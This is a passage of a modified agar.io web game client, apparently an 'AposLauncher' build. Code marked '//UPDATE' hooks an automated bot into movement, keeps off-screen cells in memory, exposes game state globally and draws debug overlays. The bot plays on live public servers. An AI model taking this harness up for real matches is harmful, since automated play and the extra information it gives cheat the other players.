n.P(), n.s = n.x, n.t = n.y, n.r = n.size, n.color = h) : (n = new da(d, p, g, f, h, q), v.push(n), E[d] = n, n.ua = p, n.va = g); n.h = m; n.n = r; n.J = p; n.K = g; n.q = f; n.sa = c; n.Q = C; n.ba = w; q && n.B(q); - 1 != M.indexOf(d) && -1 == k.indexOf(n) && (document.getElementById("overlays").style.display = "none", k.push(n), n.birth = getLastUpdate(), n.birthMass = (n.size * n.size / 100), 1 == k.length && (s = n.x, t = n.y, db())) //UPDATE interNodes[d] = window.getCells()[d]; } //UPDATE Object.keys(interNodes).forEach(function(element, index) { //console.log("start: " + interNodes[element].updateTime + " current: " + D + " life: " + (D - interNodes[element].updateTime)); var isRemoved = !window.getCells().hasOwnProperty(element); //console.log("Time not updated: " + (window.getLastUpdate() - interNodes[element].getUptimeTime())); if (isRemoved && (window.getLastUpdate() - interNodes[element].getUptimeTime()) > 3000) { delete interNodes[element]; } else { for (var i = 0; i < getPlayer().length; i++) { if (isRemoved && computeDistance(getPlayer()[i].x, getPlayer()[i].y, interNodes[element].x, interNodes[element].y) < getPlayer()[i].size + 710) { delete interNodes[element]; break; } } } }); c = a.getUint32(b, !0); b += 4; for (u = 0; u < c; u++) d = a.getUint32(b, !0), b += 4, n = E[d], null != n && n.X(); //UPDATE //Ha && 0 == k.length && Sa(!1) } //UPDATE function computeDistance(x1, y1, x2, y2) { var xdis = x1 - x2; // <--- FAKE AmS OF COURSE! var ydis = y1 - y2; var distance = Math.sqrt(xdis * xdis + ydis * ydis); return distance; } /** * Some horse shit of some sort. * @return Horse Shit */ function screenDistance() { return Math.min(computeDistance(getOffsetX(), getOffsetY(), screenToGameX(getWidth()), getOffsetY()), computeDistance(getOffsetX(), getOffsetY(), getOffsetX(), screenToGameY(getHeight()))); } window.verticalDistance = function() { return computeDistance(screenToGameX(0), screenToGameY(0), screenToGameX(getWidth()), screenToGameY(getHeight())); } /** * A conversion from the screen's horizontal coordinate system * to the game's horizontal coordinate system. * @param x in the screen's coordinate system * @return x in the game's coordinate system */ window.screenToGameX = function(x) { return (x - getWidth() / 2) / getRatio() + getX(); } /** * A conversion from the screen's vertical coordinate system * to the game's vertical coordinate system. * @param y in the screen's coordinate system * @return y in the game's coordinate system */ window.screenToGameY = function(y) { return (y - getHeight() / 2) / getRatio() + getY(); } window.drawPoint = function(x_1, y_1, drawColor, text) { if (!toggleDraw) { dPoints.push([x_1, y_1, drawColor]); dText.push(text); } } window.drawArc = function(x_1, y_1, x_2, y_2, x_3, y_3, drawColor) { if (!toggleDraw) { var radius = computeDistance(x_1, y_1, x_3, y_3); dArc.push([x_1, y_1, x_2, y_2, x_3, y_3, radius, drawColor]); } } window.drawLine = function(x_1, y_1, x_2, y_2, drawColor) { if (!toggleDraw) { lines.push([x_1, y_1, x_2, y_2, drawColor]); } } window.drawCircle = function(x_1, y_1, radius, drawColor) { if (!toggleDraw) { circles.push([x_1, y_1, radius, drawColor]); } } function V() { //UPDATE if (getPlayer().length == 0 && !reviving && ~~(getCurrentScore() / 100) > 0) { console.log("Dead: " + ~~(getCurrentScore() / 100)); apos('send', 'pageview'); } if (getPlayer().length == 0) { console.log("Revive"); setNick(originalName); reviving = true; } else if (getPlayer().length > 0 && reviving) { reviving = false; console.log("Done Reviving!"); } if (T()) { var a = fa - m / 2; var b = ga - r / 2; 64 > a * a + b * b || .01 > Math.abs(eb - ia) && .01 > Math.abs(fb - ja) || (eb = ia, fb = ja, a = N(13), a.setUint8(0, 16), a.setInt32(1, ia, !0), a.setInt32(5, ja, !0), a.setUint32(9, 0, !0), O(a)) } } function cb() { if (T() && $ && null != K) { var a = N(1 + 2 * K.length); a.setUint8(0, 0); for (var b = 0; b < K.length; ++b) a.setUint16(1 + 2 * b, K.charCodeAt(b), !0); O(a) } } function T() { return null != q && q.readyState == q.OPEN } window.opCode = function(a) { console.log("Sending op code."); H(parseInt(a)); } function H(a) { if (T()) { var b = N(1); b.setUint8(0, a); O(b) } } function $a() { if (T() && null != B) { var a = N(1 + B.length); a.setUint8(0, 81); for (var b = 0; b < B.length; ++b) a.setUint8(b + 1, B.charCodeAt(b)); O(a) } } function Ta() { m = d.innerWidth; r = d.innerHeight; za.width = G.width = m; za.height = G.height = r; var a = e("#helloContainer"); a.css("transform", "none"); var b = a.height(), c = d.innerHeight; b > c / 1.1 ? a.css("transform", "translate(-50%, -50%) scale(" + c / b / 1.1 + ")") : a.css("transform", "translate(-50%, -50%)"); gb() } function hb() { var a; a = Math.max(r / 1080, m / 1920); return a *= J } function yb() { if (0 != k.length) { for (var a = 0, b = 0; b < k.length; b++) a += k[b].size; a = Math.pow(Math.min(64 / a, 1), .4) * hb(); h = (9 * h + a) / 10 } } function gb() { //UPDATE dPoints = []; circles = []; dArc = []; dText = []; lines = []; var a, b = Date.now(); ++zb; C = b; if (0 < k.length) { yb(); for (var c = a = 0, d = 0; d < k.length; d++) k[d].P(), a += k[d].x / k.length, c += k[d].y / k.length; aa = a; ba = c; ca = h; s = (s + a) / 2; t = (t + c) / 2; } else s = (29 * s + aa) / 30, t = (29 * t + ba) / 30, h = (9 * h + ca * hb()) / 10; qb(); Aa(); Ia || f.clearRect(0, 0, m, r); Ia ? (f.fillStyle = ta ? "#111111" : "#F2FBFF", f.globalAlpha = .05, f.fillRect(0, 0, m, r), f.globalAlpha = 1) : Ab(); v.sort(function(a, b) { return a.size == b.size ? a.id - b.id : a.size - b.size }); f.save(); f.translate(m / 2, r / 2); f.scale(h, h); f.translate(-s, -t); //UPDATE f.save(); f.beginPath(); f.lineWidth = 5; f.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); f.moveTo(getMapStartX(), getMapStartY()); f.lineTo(getMapStartX(), getMapEndY()); f.stroke(); f.moveTo(getMapStartX(), getMapStartY()); f.lineTo(getMapEndX(), getMapStartY()); f.stroke(); f.moveTo(getMapEndX(), getMapStartY()); f.lineTo(getMapEndX(), getMapEndY()); f.stroke(); f.moveTo(getMapStartX(), getMapEndY()); f.lineTo(getMapEndX(), getMapEndY()); f.stroke(); f.restore(); for (d = 0; d < v.length; d++) v[d].w(f); for (d = 0; d < Q.length; d++) Q[d].w(f); //UPDATE if (getPlayer().length > 0) { var moveLoc = window.botList[botIndex].mainLoop(); if (!toggle) { setPoint(moveLoc[0], moveLoc[1]); } } customRender(f); if (Ga) { na = (3 * na + Ea) / 4; oa = (3 * oa + Fa) / 4; f.save(); f.strokeStyle = "#FFAAAA"; f.lineWidth = 10; f.lineCap = "round"; f.lineJoin = "round"; f.globalAlpha = .5; f.beginPath(); for (d = 0; d < k.length; d++) f.moveTo(k[d].x, k[d].y), f.lineTo(na, oa); f.stroke(); f.restore(); } f.restore(); z && z.width && f.drawImage(z, m - z.width - 10, 10); R = Math.max(R, Bb()); //UPDATE var currentDate = new Date(); var nbSeconds = 0; if (getPlayer().length > 0) { //nbSeconds = currentDate.getSeconds() + currentDate.getMinutes() * 60 + currentDate.getHours() * 3600 - lifeTimer.getSeconds() - lifeTimer.getMinutes() * 60 - lifeTimer.getHours() * 3600; nbSeconds = (currentDate.getTime() - lifeTimer.getTime())/1000; } bestTime = Math.max(nbSeconds, bestTime); var displayText = 'Score: ' + ~~(R / 100) + " Current Time: " + nbSeconds + " seconds."; 0 != R && (null == ua && (ua = new va(24, "#FFFFFF")), ua.C(displayText), c = ua.L(), a = c.width, f.globalAlpha = .2, f.fillStyle = "#000000", f.fillRect(10, r - 10 - 24 - 10, a + 10, 34), f.globalAlpha = 1, f.drawImage(c, 15, r - 10 - 24 - 5)); Cb(); b = Date.now() - b; b > 1E3 / 60 ? D -= .01 : b < 1E3 / 65 && (D += .01);.4 > D && (D = .4); 1 < D && (D = 1); b = C - ib; !T() || W ? (x += b / 2E3, 1 < x && (x = 1)) : (x -= b / 300, 0 > x && (x = 0)); 0 < x && (f.fillStyle = "#000000", f.globalAlpha = .5 * x, f.fillRect(0, 0, m, r), f.globalAlpha = 1); ib = C drawStats(f); } //UPDATE function customRender(d) { d.save(); for (var i = 0; i < lines.length; i++) { d.beginPath(); d.lineWidth = 5; if (lines[i][4] == 0) { d.strokeStyle = "#FF0000"; } else if (lines[i][4] == 1) { d.strokeStyle = "#00FF00"; } else if (lines[i][4] == 2) { d.strokeStyle = "#0000FF"; } else if (lines[i][4] == 3) { d.strokeStyle = "#FF8000"; } else if (lines[i][4] == 4) { d.strokeStyle = "#8A2BE2"; } else if (lines[i][4] == 5) { d.strokeStyle = "#FF69B4"; } else if (lines[i][4] == 6) { d.strokeStyle = "#008080"; } else if (lines[i][4] == 7) { d.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); } else { d.strokeStyle = "#000000"; } d.moveTo(lines[i][0], lines[i][1]); d.lineTo(lines[i][2], lines[i][3]); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < circles.length; i++) { if (circles[i][3] == 0) { d.strokeStyle = "#FF0000"; } else if (circles[i][3] == 1) { d.strokeStyle = "#00FF00"; } else if (circles[i][3] == 2) { d.strokeStyle = "#0000FF"; } else if (circles[i][3] == 3) { d.strokeStyle = "#FF8000"; } else if (circles[i][3] == 4) { d.strokeStyle = "#8A2BE2"; } else if (circles[i][3] == 5) { d.strokeStyle = "#FF69B4"; } else if (circles[i][3] == 6) { d.strokeStyle = "#008080"; } else if (circles[i][3] == 7) { d.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 10; //d.setLineDash([5]); d.globalAlpha = 0.3; d.arc(circles[i][0], circles[i][1], circles[i][2], 0, 2 * Math.PI, false); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < dArc.length; i++) { if (dArc[i][7] == 0) { d.strokeStyle = "#FF0000"; } else if (dArc[i][7] == 1) { d.strokeStyle = "#00FF00"; } else if (dArc[i][7] == 2) { d.strokeStyle = "#0000FF"; } else if (dArc[i][7] == 3) { d.strokeStyle = "#FF8000"; } else if (dArc[i][7] == 4) { d.strokeStyle = "#8A2BE2"; } else if (dArc[i][7] == 5) { d.strokeStyle = "#FF69B4"; } else if (dArc[i][7] == 6) { d.strokeStyle = "#008080"; } else if (dArc[i][7] == 7) { d.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 5; var ang1 = Math.atan2(dArc[i][1] - dArc[i][5], dArc[i][0] - dArc[i][4]); var ang2 = Math.atan2(dArc[i][3] - dArc[i][5], dArc[i][2] - dArc[i][4]); d.arc(dArc[i][4], dArc[i][5], dArc[i][6], ang1, ang2, false); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < dPoints.length; i++) { if (dText[i] == "") { var radius = 10; d.beginPath(); d.arc(dPoints[i][0], dPoints[i][1], radius, 0, 2 * Math.PI, false); if (dPoints[i][2] == 0) { d.fillStyle = "black"; } else if (dPoints[i][2] == 1) { d.fillStyle = "yellow"; } else if (dPoints[i][2] == 2) { d.fillStyle = "blue"; } else if (dPoints[i][2] == 3) { d.fillStyle = "red"; } else if (dPoints[i][2] == 4) { d.fillStyle = "#008080"; } else if (dPoints[i][2] == 5) { d.fillStyle = "#FF69B4"; } else { d.fillStyle = "#000000"; } d.fill(); d.lineWidth = 2; d.strokeStyle = '#003300'; d.stroke(); } else { var text = new va(18, (getDarkBool() ? '#F2FBFF' : '#111111'), true, (getDarkBool() ? '#111111' : '#F2FBFF')); text.C(dText[i]); var textRender = text.L(); d.drawImage(textRender, dPoints[i][0] - (textRender.width / 2), dPoints[i][1] - (textRender.height / 2)); } } d.restore(); } function drawStats(d) { d.save() sessionScore = Math.max(getCurrentScore(), sessionScore); var botString = window.botList[botIndex].displayText(); var debugStrings = []; debugStrings.push("Bot: " + window.botList[botIndex].name); debugStrings.push("Launcher: AposLauncher " + aposLauncherVersion); debugStrings.push("T - Bot: " + (!toggle ? "On" : "Off")); debugStrings.push("R - Lines: " + (!toggleDraw ? "On" : "Off")); for (var i = 0; i < botString.length; i++) { debugStrings.push(botString[i]); } debugStrings.push(""); debugStrings.push("Best Score: " + ~~(sessionScore / 100)); debugStrings.push("Best Time: " + bestTime + " seconds"); debugStrings.push(""); debugStrings.push(serverIP); if (getPlayer().length > 0) { var offsetX = -getMapStartX(); var offsetY = -getMapStartY(); debugStrings.push("Location: " + Math.floor(getPlayer()[0].x + offsetX) + ", " + Math.floor(getPlayer()[0].y + offsetY)); } var offsetValue = 20; var text = new va(18, (getDarkBool() ? '#F2FBFF' : '#111111')); for (var i = 0; i < debugStrings.length; i++) { text.C(debugStrings[i]); var textRender = text.L(); d.drawImage(textRender, 20, offsetValue); offsetValue += textRender.height; } if (message.length > 0) { var mRender = []; var mWidth = 0; var mHeight = 0; for (var i = 0; i < message.length; i++) { var mText = new va(28, '#FF0000', true, '#000000'); mText.C(message[i]); mRender.push(mText.L()); if (mRender[i].width > mWidth) { mWidth = mRender[i].width; } mHeight += mRender[i].height; } var mX = getWidth() / 2 - mWidth / 2; var mY = 20; d.globalAlpha = 0.4; d.fillStyle = '#000000'; d.fillRect(mX - 10, mY - 10, mWidth + 20, mHeight + 20); d.globalAlpha = 1; var mOffset = mY; for (var i = 0; i < mRender.length; i++) { d.drawImage(mRender[i], getWidth() / 2 - mRender[i].width / 2, mOffset); mOffset += mRender[i].height; } } d.restore(); } function Ab() { f.fillStyle = ta ? "#111111" : "#F2FBFF"; f.fillRect(0, 0, m, r); f.save(); f.strokeStyle = ta ? "#AAAAAA" : "#000000"; f.globalAlpha = .2 * h; for (var a = m / h, b = r / h, c = (a / 2 - s) % 50; c < a; c += 50) f.beginPath(), f.moveTo(c * h - .5, 0), f.lineTo(c * h - .5, b * h), f.stroke(); for (c = (b / 2 - t) % 50; c < b; c += 50) f.beginPath(), f.moveTo(0, c * h - .5), f.lineTo(a * h, c * h - .5), f.stroke(); f.restore() } function Cb() { if (Qa && Ja.width) { var a = m / 5; f.drawImage(Ja, 5, 5, a, a) } } function Bb() { for (var a = 0, b = 0; b < k.length; b++) a += k[b].q * k[b].q; return a } function ab() { z = null; if (null != A || 0 != F.length) if (null != A || wa) { z = document.createElement("canvas"); var a = z.getContext("2d"), b = 60, b = null == A ? b + 24 * F.length : b + 180, c = Math.min(200, .3 * m) / 200; z.width = 200 * c; z.height = b * c; a.scale(c, c); a.globalAlpha = .4; a.fillStyle = "#000000"; a.fillRect(0, 0, 200, b); a.globalAlpha = 1; a.fillStyle = "#FFFFFF"; c = null; c = Z("leaderboard"); a.font = "30px Ubuntu"; a.fillText(c, 100 - a.measureText(c).width / 2, 40); if (null == A) for (a.font = "20px Ubuntu", b = 0; b < F.length; ++b) c = F[b].name || Z("unnamed_cell"), wa || (c = Z("unnamed_cell")), -1 != M.indexOf(F[b].id) ? (k[0].name && (c = k[0].name), a.fillStyle = "#FFAAAA") : a.fillStyle = "#FFFFFF", c = b + 1 + ". " + c, a.fillText(c, 100 - a.measureText(c).width / 2, 70 + 24 * b); else for (b = c = 0; b < A.length; ++b) { var d = c + A[b] * Math.PI * 2; a.fillStyle = Db[b + 1]; a.beginPath(); a.moveTo(100, 140); a.arc(100, 140, 80, c, d, !1); a.fill(); c = d } } } function Ka(a, b, c, d, e) { this.V = a; this.x = b; this.y = c; this.i = d; this.b = e } function da(a, b, c, d, e, p) { this.id = a; this.s = this.x = b; this.t = this.y = c; this.r = this.size = d; this.color = e; this.a = []; this.W(); this.B(p) } function va(a, b, c, d) { a && (this.u = a); b && (this.S = b); this.U = !!c; d && (this.v = d) } function S(a, b) { var c = "1" == e("#helloContainer").attr("data-has-account-data"); e("#helloContainer").attr("data-has-account-data", "1"); if (null == b && d.localStorage.loginCache) { var l = JSON.parse(d.localStorage.loginCache); l.f = a.f; l.d = a.d; l.e = a.e; d.localStorage.loginCache = JSON.stringify(l) } if (c) { var u = +e(".agario-exp-bar .progress-bar-text").first().text().split("/")[0], c = +e(".agario-exp-bar .progress-bar-text").first().text().split("/")[1].split(" ")[0], l = e(".agario-profile-panel .progress-bar-star").first().text(); if (l != a.e) S({ f: c, d: c, e: l }, function() { e(".agario-profile-panel .progress-bar-star").text(a.e); e(".agario-exp-bar .progress-bar").css("width", "100%"); e(".progress-bar-star").addClass("animated tada").one("webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend", function() { e(".progress-bar-star").removeClass("animated tada") }); setTimeout(function() { e(".agario-exp-bar .progress-bar-text").text(a.d + "/" + a.d + " XP"); S({ f: 0, d: a.d, e: a.e }, function() { S(a, b) }) }, 1E3) }); else { var p = Date.now(), g = function() { var c; c = (Date.now() - p) / 1E3; c = 0 > c ? 0 : 1 < c ? 1 : c; c = c * c * (3 - 2 * c); e(".agario-exp-bar .progress-bar-text").text(~~(u + (a.f - u) * c) + "/" + a.d + " XP"); e(".agario-exp-bar .progress-bar").css("width", (88 * (u + (a.f - u) * c) / a.d).toFixed(2) + "%"); 1 > c ? d.requestAnimationFrame(g) : b && b() }; d.requestAnimationFrame(g) } } else e(".agario-profile-panel .progress-bar-star").text(a.e), e(".agario-exp-bar .progress-bar-text").text(a.f + "/" + a.d + " XP"), e(".agario-exp-bar .progress-bar").css("width", (88 * a.f / a.d).toFixed(2) + "%"), b && b() } function jb(a) { "string" == typeof a && (a = JSON.parse(a)); Date.now() + 18E5 > a.ja ? e("#helloContainer").attr("data-logged-in", "0") : (d.localStorage.loginCache = JSON.stringify(a), B = a.fa, e(".agario-profile-name").text(a.name), $a(), S({ f: a.f, d: a.d, e: a.e }), e("#helloContainer").attr("data-logged-in", "1")) } function Eb(a) { a = a.split("\n"); jb({ name: a[0], ta: a[1], fa: a[2], ja: 1E3 * +a[3], e: +a[4], f: +a[5], d: +a[6] }); console.log("Hello Facebook?"); } function La(a) { if ("connected" == a.status) { var b = a.authResponse.accessToken; d.FB.api("/me/picture?width=180&height=180", function(a) { d.localStorage.fbPictureCache = a.data.url; e(".agario-profile-picture").attr("src", a.data.url) }); e("#helloContainer").attr("data-logged-in", "1"); null != B ? e.ajax("https://m.agar.io/checkToken", { error: function() { console.log("Facebook Fail!"); B = null; La(a) }, success: function(a) { a = a.split("\n"); S({ e: +a[0], f: +a[1], d: +a[2] }); console.log("Facebook connected!"); }, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: B }) : e.ajax("https://m.agar.io/facebookLogin", { error: function() { console.log("You have a Facebook problem!"); B = null; e("#helloContainer").attr("data-logged-in", "0") }, success: Eb, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: b }) } } function Wa(a) { Y(":party"); e("#helloContainer").attr("data-party-state", "4"); a = decodeURIComponent(a).replace(/.*#/gim, ""); Ma("#" + d.encodeURIComponent(a)); e.ajax(Na + "//m.agar.io/getToken", { error: function() { e("#helloContainer").attr("data-party-state", "6") }, success: function(b) { b = b.split("\n"); e(".partyToken").val("agar.io/#" + d.encodeURIComponent(a)); e("#helloContainer").attr("data-party-state", "5"); Y(":party"); Ca("ws://" + b[0], a) }, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: a }) } function Ma(a) { d.history && d.history.replaceState && d.history.replaceState({}, d.document.title, a) } if (!d.agarioNoInit) { var Na = d.location.protocol, tb = "https:" == Na, xa = d.navigator.userAgent; if (-1 != xa.indexOf("Android")) d.ga && d.ga("send", "event", "MobileRedirect", "PlayStore"), setTimeout(function() { d.location.href = "market://details?id=com.miniclip.agar.io" }, 1E3); else if (-1 != xa.indexOf("iPhone") || -1 != xa.indexOf("iPad") || -1 != xa.indexOf("iPod")) d.ga && d.ga("send", "event", "MobileRedirect", "AppStore"), setTimeout(function() { d.location.href = "https://itunes.apple.com/app/agar.io/id995999703" }, 1E3); else { var za, f, G, m, r, X = null, //UPDATE toggle = false, toggleDraw = false, tempPoint = [0, 0, 1], dPoints = [], circles = [], dArc = [], dText = [], lines = [], names = ["Vilhena"], originalName = names[Math.floor(Math.random() * names.length)], sessionScore = 0, serverIP = "", interNodes = [], lifeTimer = new Date(), bestTime = 0, botIndex = 0, reviving = false, message = [], q = null, s = 0, t = 0, M = [], k = [], E = {}, v = [], Q = [], F = [], fa = 0, ga = 0, //UPDATE ia = -1, ja = -1, zb = 0, C = 0, ib = 0, K = null, pa = 0, qa = 0, ra = 1E4, sa = 1E4, h = 1, y = null, kb = !0, wa = !0, Oa = !1, Ha = !1, R = 0, ta = !1, lb = !1, aa = s = ~~((pa + ra) / 2), ba = t = ~~((qa + sa) / 2), ca = 1, P = "", A = null, ya = !1, Ga = !1, Ea = 0, Fa = 0, na = 0, oa = 0, mb = 0, Db = ["#333333", "#FF3333", "#33FF33", "#3333FF"], Ia = !1, $ = !1, bb = 0, B = null, J = 1, x = 1, W = !0, Ba = 0, Da = {}; (function() { var a = d.location.search; "?" == a.charAt(0) && (a = a.slice(1)); for (var a = a.split("&"), b = 0; b < a.length; b++) { var c = a[b].split("="); Da[c[0]] = c[1] } })(); var Qa = "ontouchstart" in d && /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(d.navigator.userAgent), Ja = new Image; Ja.src = "img/split.png"; var nb = document.createElement("canvas"); if ("undefined" == typeof console || "undefined" == typeof DataView || "undefined" == typeof WebSocket || null == nb || null == nb.getContext || null == d.localStorage) alert("You browser does not support this game, we recommend you to use Firefox to play this"); else { var ka = null; d.setNick = function(a) { //UPDATE originalName = a; if (getPlayer().length == 0) { lifeTimer = new Date(); } Xa(); K = a; cb(); R = 0 }; d.setRegion = ha; d.setSkins = function(a) { kb = a }; d.setNames = function(a) { wa = a }; d.setDarkTheme = function(a) { ta = a }; d.setColors = function(a) { Oa = a }; d.setShowMass = function(a) { lb = a }; d.spectate = function() { K = null; H(1); Xa() }; d.setGameMode = function(a) { a != P && (":party" == P && e("#helloContainer").attr("data-party-state", "0"), Y(a), ":party" != a && I()) }; d.setAcid = function(a) { Ia = a }; null != d.localStorage && (null == d.localStorage.AB9 && (d.localStorage.AB9 = 0 + ~~(100 * Math.random())), mb = +d.localStorage.AB9, d.ABGroup = mb); e.get(Na + "//gc.agar.io", function(a) { var b = a.split(" "); a = b[0]; b = b[1] || ""; - 1 == ["UA"].indexOf(a) && ob.push("ussr"); ea.hasOwnProperty(a) && ("string" == typeof ea[a] ? y || ha(ea[a]) : ea[a].hasOwnProperty(b) && (y || ha(ea[a][b]))) }, "text"); d.ga && d.ga("send", "event", "User-Agent", d.navigator.userAgent, { nonInteraction: 1 }); var la = !1, Ya = 0; setTimeout(function() { la = !0 }, Math.max(6E4 * Ya, 1E4)); var ea = { AF: "JP-Tokyo", AX: "EU-London", AL: "EU-London", DZ: "EU-London", AS: "SG-Singapore", AD: "EU-London", AO: "EU-London", AI: "US-Atlanta", AG: "US-Atlanta", AR: "BR-Brazil", AM: "JP-Tokyo", AW: "US-Atlanta", AU: "SG-Singapore", AT: "EU-London", AZ: "JP-Tokyo", BS: "US-Atlanta", BH: "JP-Tokyo", BD: "JP-Tokyo", BB: "US-Atlanta", BY: "EU-London", BE: "EU-London", BZ: "US-Atlanta", BJ: "EU-London", BM: "US-Atlanta", BT: "JP-Tokyo", BO: "BR-Brazil", BQ: "US-Atlanta", BA: "EU-London", BW: "EU-London", BR: "BR-Brazil", IO: "JP-Tokyo", VG: "US-Atlanta", BN: "JP-Tokyo", BG: "EU-London", BF: "EU-London", BI: "EU-London", KH: "JP-Tokyo", CM: "EU-London", CA: "US-Atlanta", CV: "EU-London", KY: "US-Atlanta", CF: "EU-London", TD: "EU-London", CL: "BR-Brazil", CN: "CN-China", CX: "JP-Tokyo", CC: "JP-Tokyo", CO: "BR-Brazil", KM: "EU-London", CD: "EU-London", CG: "EU-London", CK: "SG-Singapore", CR: "US-Atlanta", CI: "EU-London", HR: "EU-London", CU: "US-Atlanta", CW: "US-Atlanta", CY: "JP-Tokyo", CZ: "EU-London", DK: "EU-London", DJ: "EU-London", DM: "US-Atlanta", DO: "US-Atlanta", EC: "BR-Brazil", EG: "EU-London", SV: "US-Atlanta", GQ: "EU-London", ER: "EU-London", EE: "EU-London", ET: "EU-London", FO: "EU-London", FK: "BR-Brazil", FJ: "SG-Singapore", FI: "EU-London", FR: "EU-London", GF: "BR-Brazil", PF: "SG-Singapore", GA: "EU-London", GM: "EU-London", GE: "JP-Tokyo", DE: "EU-London", GH: "EU-London", GI: "EU-London", GR: "EU-London", GL: "US-Atlanta", GD: "US-Atlanta", GP: "US-Atlanta", GU: "SG-Singapore", GT: "US-Atlanta", GG: "EU-London", GN: "EU-London", GW: "EU-London", GY: "BR-Brazil", HT: "US-Atlanta", VA: "EU-London", HN: "US-Atlanta", HK: "JP-Tokyo", HU: "EU-London", IS: "EU-London", IN: "JP-Tokyo", ID: "JP-Tokyo", IR: "JP-Tokyo", IQ: "JP-Tokyo", IE: "EU-London", IM: "EU-London", IL: "JP-Tokyo", IT: "EU-London", JM: "US-Atlanta", JP: "JP-Tokyo", JE: "EU-London", JO: "JP-Tokyo", KZ: "JP-Tokyo", KE: "EU-London", KI: "SG-Singapore", KP: "JP-Tokyo", KR: "JP-Tokyo", KW: "JP-Tokyo", KG: "JP-Tokyo", LA: "JP-Tokyo", LV: "EU-London", LB: "JP-Tokyo", LS: "EU-London", LR: "EU-London", LY: "EU-London", LI: "EU-London", LT: "EU-London", LU: "EU-London", MO: "JP-Tokyo", MK: "EU-London", MG: "EU-London", MW: "EU-London", MY: "JP-Tokyo", MV: "JP-Tokyo", ML: "EU-London", MT: "EU-London", MH: "SG-Singapore", MQ: "US-Atlanta", MR: "EU-London", MU: "EU-London", YT: "EU-London", MX: "US-Atlanta", FM: "SG-Singapore", MD: "EU-London", MC: "EU-London", MN: "JP-Tokyo", ME: "EU-London", MS: "US-Atlanta", MA: "EU-London", MZ: "EU-London", MM: "JP-Tokyo", NA: "EU-London", NR: "SG-Singapore", NP: "JP-Tokyo", NL: "EU-London", NC: "SG-Singapore", NZ: "SG-Singapore", NI: "US-Atlanta", NE: "EU-London", NG: "EU-London", NU: "SG-Singapore", NF: "SG-Singapore", MP: "SG-Singapore", NO: "EU-London", OM: "JP-Tokyo", PK: "JP-Tokyo", PW: "SG-Singapore", PS: "JP-Tokyo", PA: "US-Atlanta", PG: "SG-Singapore", PY: "BR-Brazil", PE: "BR-Brazil", PH: "JP-Tokyo", PN: "SG-Singapore", PL: "EU-London", PT: "EU-London", PR: "US-Atlanta", QA: "JP-Tokyo", RE: "EU-London", RO: "EU-London", RU: "RU-Russia", RW: "EU-London", BL: "US-Atlanta", SH: "EU-London", KN: "US-Atlanta", LC: "US-Atlanta", MF: "US-Atlanta", PM: "US-Atlanta", VC: "US-Atlanta", WS: "SG-Singapore", SM: "EU-London", ST: "EU-London", SA: "EU-London", SN: "EU-London", RS: "EU-London", SC: "EU-London", SL: "EU-London", SG: "JP-Tokyo", SX: "US-Atlanta", SK: "EU-London", SI: "EU-London", SB: "SG-Singapore", SO: "EU-London", ZA: "EU-London", SS: "EU-London", ES: "EU-London", LK: "JP-Tokyo", SD: "EU-London", SR: "BR-Brazil", SJ: "EU-London", SZ: "EU-London", SE: "EU-London", CH: "EU-London", SY: "EU-London", TW: "JP-Tokyo", TJ: "JP-Tokyo", TZ: "EU-London", TH: "JP-Tokyo", TL: "JP-Tokyo", TG: "EU-London", TK: "SG-Singapore", TO: "SG-Singapore", TT: "US-Atlanta", TN: "EU-London", TR: "TK-Turkey", TM: "JP-Tokyo", TC: "US-Atlanta", TV: "SG-Singapore", UG: "EU-London", UA: "EU-London", AE: "EU-London", GB: "EU-London", US: "US-Atlanta", UM: "SG-Singapore", VI: "US-Atlanta", UY: "BR-Brazil", UZ: "JP-Tokyo", VU: "SG-Singapore", VE: "BR-Brazil", VN: "JP-Tokyo", WF: "SG-Singapore", EH: "EU-London", YE: "JP-Tokyo", ZM: "EU-London", ZW: "EU-London" }, L = null; d.connect = Ca; //UPDATE /** * Tells you if the game is in Dark mode. * @return Boolean for dark mode. */ window.getDarkBool = function() { return ta; } /** * Tells you if the mass is shown. * @return Boolean for player's mass. */ window.getMassBool = function() { return lb; } /** * This is a copy of everything that is shown on screen. * Normally stuff will time out when off the screen, this * memorizes everything that leaves the screen for a little * while longer. * @return The memory object. */ window.getMemoryCells = function() { return interNodes; } /** * [getCellsArray description] * @return {[type]} [description] */ window.getCellsArray = function() { return v; } /** * [getCellsArray description] * @return {[type]} [description] */ window.getCells = function() { return E; } /** * Returns an array with all the player's cells. * @return Player's cells */ window.getPlayer = function() { return k; } /** * The canvas' width. * @return Integer Width */ window.getWidth = function() { return m; } /** * The canvas' height * @return Integer Height */ window.getHeight = function() { return r; } /** * Scaling ratio of the canvas. The bigger this ration, * the further that you see. * @return Screen scaling ratio. */ window.getRatio = function() { return h; } /** * [getOffsetX description] * @return {[type]} [description] */ window.getOffsetX = function() { return aa; } window.getOffsetY = function() { return ba; } window.getX = function() { return s; } window.getY = function() { return t; } window.getPointX = function() { return ia; } window.getPointY = function() { return ja; } /** * The X location of the mouse. * @return Integer X */ window.getMouseX = function() { return fa; } /** * The Y location of the mouse. * @return Integer Y */ window.getMouseY = function() { return ga; } window.getMapStartX = function() { return pa; } window.getMapStartY = function() { return qa; } window.getMapEndX = function() { return ra; } window.getMapEndY = function() { return sa; } window.getScreenDistance = function() { var temp = screenDistance(); return temp; } /** * A timestamp since the last time the server sent any data. * @return Last update timestamp */ window.getLastUpdate = function() { return C; } window.getCurrentScore = function() { return R; } /** * The game's current mode. (":ffa", ":experimental", ":teams". ":party") * @return {[type]} [description] */ window.getMode = function() { return P; } window.setPoint = function(x, y) { ia = x; ja = y; } window.setScore = function(a) { sessionScore = a * 100; } window.setBestTime = function(a) { bestTime = a; } window.best = function(a, b) { setScore(a); setBestTime(b); } window.setBotIndex = function(a) { console.log("Changing bot"); 